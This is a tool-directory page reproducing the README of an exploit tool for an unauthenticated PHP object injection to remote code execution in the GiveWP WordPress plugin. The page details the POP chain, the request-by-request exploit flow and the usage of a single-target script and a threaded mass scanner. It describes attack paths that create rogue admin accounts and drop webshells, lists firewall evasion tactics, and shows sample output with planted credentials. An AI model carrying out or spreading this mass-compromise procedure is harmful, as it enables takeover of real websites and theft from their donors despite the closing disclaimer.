Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE | Kitploit
Tools/GitHubGitHub/r0x19/cve-2026-82222
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE

View Repository
15h 29m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-82222 — GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE

Author: Rx019
CVSS: 10.0 (Critical)
Type: Unauthenticated PHP Object Injection → Remote Code Execution
Plugin: GiveWP (give) — Donation Plugin and Fundraising Platform
Affected: <= 4.16.7.1
Patched: 4.16.8


Description

GiveWP stores a donor's last_name in the PHP session without sanitization. When a donation is submitted without the give_last field, GiveWP deserializes the raw value from the database directly into the session. This allows an unauthenticated attacker to inject a PHP serialized object into last_name via the donor profile endpoint, then trigger deserialization by submitting a crafted donation — resulting in arbitrary command execution via a pre-built POP chain available in GiveWP's bundled vendor libraries.


POP Chain

root@kitploit:~
TCPDF::__destruct()
  └─ Session::getBag()           ← calls method named by $attributeName
       └─ DonationFactory::__call()
            └─ system($command)   ← $command from $attributeName

Vendor classes used:

ClassFile
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Exploit Flow

root@kitploit:~
1. Register as donor         → authenticated session (wp-login cookie)
2. POST /wp-admin/profile.php
   last_name = serialized TCPDF chain with embedded system() command
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (give_last field OMITTED)
   → GiveWP reads last_name from DB, writes raw object into session
4. GET /?p={form_id}
   → PHP session teardown fires TCPDF::__destruct()
   → POP chain executes system(command)
5. Confirm shell / admin created

Requirements

root@kitploit:~
pip install requests rich

Python >= 3.9


Files

FileDescription
CVE-2026-82222.pySingle-target PoC — verbose step-by-step output
CVE-2026-82222-MASS.pyMass scanner — threaded batch mode

Usage

Single Target

root@kitploit:~
python CVE-2026-82222.py

Interactive prompt:

root@kitploit:~
  Target URL: https://victim.com

Or direct:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Mass Scanner

root@kitploit:~
# Batch from file
python CVE-2026-82222-MASS.py -f targets.txt

# Custom thread count
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Multiple targets inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Interactive menu
python CVE-2026-82222-MASS.py

Batch file format:

root@kitploit:~
# Lines starting with # are ignored
https://target1.com
https://target2.com
target3.com          # protocol auto-prefixed as https://
http://target4.com

Output

Single Mode

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Version : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Method  : shell + direct (no .php write needed)       │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Batch Summary

root@kitploit:~
  Vulnerable : 12   Partial : 3   Patched : 44   Not Vuln : 21   Errors : 2   Total : 82

Results saved to ~/Documents/CVE/CVE-2026-82222/:

FileContents
CVE-2026-82222_YYYYMMDD_HHMMSS.txtSingle-run result
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtFull batch results
success_results.txtAppended VULN/PARTIAL lines

Attack Paths

The exploit attempts two primary paths in sequence:

Path A — Direct Admin (no shell file written)

  1. Inject wp_create_user() PHP code as base64 into the TCPDF chain
  2. Fire the chain — GiveWP executes the code server-side
  3. Verify by logging in as the created admin
  4. Drop shell via WordPress plugin/theme file editor

Path B — GiveWP Chain Shell Drop

Used when Path A fails or admin login cannot be verified.

  1. Register a fresh donor session (new PHP session file — avoids lock contention from Path A's worker)
  2. Inject shell-drop command into last_name via profile endpoint
  3. Contaminate session (donate without give_last)
  4. Trigger deserialization (/?p={form_id})
  5. Confirm shell presence across upload/plugin/theme directories
  6. Fallback: id | tee beacon to a .txt file in uploads

Path C — Admin via Shell

If a shell is confirmed but no admin exists yet, create one via the shell using wp_create_user() through the webshell's ?c= parameter.


WAF Handling

WAFStrategy
Imunify360Strip X-Forwarded-For / X-Real-IP spoof headers
WordfenceRotate User-Agent from pool
CloudflareSet Accept-Encoding: gzip, deflate, br

Notes

  • The exploit requires GiveWP to have at least one published donation form
  • Registration must be enabled on the target site (WordPress core setting)
  • PHP-FPM worker pool drain: a 30-second sleep is inserted after the direct admin chain to allow the session-holding worker to release before subsequent requests
  • DISALLOW_FILE_EDIT in wp-config.php blocks the plugin/theme editor vector — the script detects this early and falls through to Path B
  • Shell filename: Rx{100-999}.php — randomized per run

Disclaimer

This tool is released for authorized security testing and research purposes only.
Use only against systems you own or have explicit written permission to test.
Unauthorized use is illegal and unethical.

Download Tool